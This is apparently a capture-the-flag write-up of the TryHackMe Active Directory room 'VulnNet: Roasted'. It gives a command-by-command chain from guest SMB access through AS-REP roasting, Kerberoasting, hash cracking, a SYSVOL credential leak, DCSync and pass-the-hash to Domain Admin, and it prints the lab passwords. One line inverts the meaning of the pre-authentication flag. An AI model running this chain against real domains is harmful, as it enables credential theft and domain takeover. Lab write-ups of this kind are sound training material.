TryHackMe - VulnNet: Roasted [Easy] [Windows] [ActiveDirectory]

This is a Windows Active Directory box from TryHackMe called VulnNet: Roasted. It’s a good one for practicing AD enumeration, going from an unauthenticated foothold all the way to Domain Admin using AS-REP roasting, Kerberoasting, and a password left in a logon script.

Recon

Kicked things off with a standard Nmap service scan:

sudo nmap -sV -sC -oA roasted 10.81.152.60

The results immediately scream Domain Controller: Kerberos on 88, LDAP on 389/3268, SMB on 445, and the domain name vulnnet-rst.local leaking out of the LDAP service banner. SMB signing is enabled and required, so relay attacks are off the table, this one’s going to be a Kerberos-first box.

SMB Enumeration

Checked for null and guest sessions with NetExec:

nxc smb $target -u '' -p ''
nxc smb $target -u 'guest' -p ''
nxc smb $target --shares -u 'guest' -p ''

Both null and guest auth were accepted, and two non-default shares stood out: VulnNet-Business-Anonymous and VulnNet-Enterprise-Anonymous, both readable by guest.

smbclient //$target/VulnNet-Business-Anonymous -U 'guest'

smbclient //$target/VulnNet-Enterprise-Anonymous -U 'guest'

The .txt files inside these shares (Business-Manager, Business-Sections, Business-Tracking, Enterprise-Operations, Enterprise-Safety, Enterprise-Sync) turned out to contain internal-sounding employee names which is a perfect fodder for username generation.

Username Generation & Enumeration

Pulled the names out of the shared documents and fed them into a username permutation script:

python3 usergen.py -i names.txt -o usernames.txt

With 143 candidate usernames generated from 4 names, validated them against the KDC using Kerbrute:

kerbrute userenum usernames.txt --dc $target -d vulnnet-rst.local

Four valid accounts confirmed: a-whitehat, j-goldenhand, j-leet, and t-skid.

AS-REP Roasting

With a set of valid usernames in hand, checked for accounts that don’t require Kerberos pre-authentication:

impacket-GetNPUsers vulnnet-rst.local/ -dc-ip $target -usersfile valid_usernames.txt -output hashes.txt

t-skid didn’t have UF_DONT_REQUIRE_PREAUTH protection, and its AS-REP hash was captured. Cracked it with John and rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Credentials recovered: t-skid:tj072889*

Validating Access

nxc smb $target -u t-skid -p 'tj072889*'
nxc winrm $target -u t-skid -p 'tj072889*'

Valid SMB creds, but no WinRM access - t-skid isn’t in the Remote Management Users group. Time to pivot to Kerberoasting with this authenticated user.

Kerberoasting

impacket-GetUserSPNs -dc-ip $target 'vulnnet-rst.local/t-skid:tj072889*' -request

A service account, enterprise-core-vn, had a registered SPN (CIFS/vulnnet-rst.local) and was a member of Remote Management Users: exactly the group needed for WinRM. Its TGS hash was requested and saved for offline cracking:

john --wordlist=/usr/share/wordlists/rockyou.txt new.hash

Cracked: enterprise-core-vn:ry=ibfkfv,s6h,

Foothold via WinRM

nxc smb $target -u enterprise-core-vn -p 'ry=ibfkfv,s6h,'
nxc winrm $target -u enterprise-core-vn -p 'ry=ibfkfv,s6h,'

Pwn3d, which means this account has WinRM rights. Dropped into a shell:

evil-winrm -u enterprise-core-vn -p 'ry=ibfkfv,s6h,' -i $target

type user.txt

User flag captured.

Privilege Escalation: SYSVOL Script Credentials

With a foothold established, checked SYSVOL for logon scripts, a classic place for domain admins to accidentally leave plaintext credentials:

smbclient //$target/SYSVOL -U 'enterprise-core-vn'

Found ResetPassword.vbs inside vulnnet-rst.local\scripts. Pulled it down and inspected the contents:

The script had hardcoded credentials for a-whitehat:bNdKVkjv3RR9ht used to reset domain user passwords which is a classic credential-leakage misconfiguration.

nxc smb $target -u a-whitehat -p 'bNdKVkjv3RR9ht'

Checking this account’s group membership showed it carries significant privileges on the domain:

a-whitehat is a member of Domain Admins — effectively game over for the domain.

Domain Compromise

With Domain Admin equivalent rights, dumped the entire NTDS database via DRSUAPI/DCSync:

impacket-secretsdump -just-dc-ntlm vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@$target

Full domain credential dump obtained, including the Administrator NT hash. Used it to get a shell directly as Administrator:

impacket-wmiexec -hashes <lmhash>:<nthash> administrator@$target

type system.txt

Summary

This room was a clean illustration of an end-to-end AD attack chain:

1. Anonymous/guest SMB access leaked internal employee names
2. Username permutation + Kerbrute validated real domain accounts
3. AS-REP roasting cracked t-skid’s password (no pre-auth required)
4. Kerberoasting t-skid’s access cracked enterprise-core-vn’s service account password
5. enterprise-core-vn had WinRM rights, giving a proper foothold and the user flag
6. A leaked ResetPassword.vbs script in SYSVOL exposed a-whitehat’s plaintext password
7. a-whitehat turned out to be a Domain Admin, allowing a full DCSync and Administrator takeover for the system flag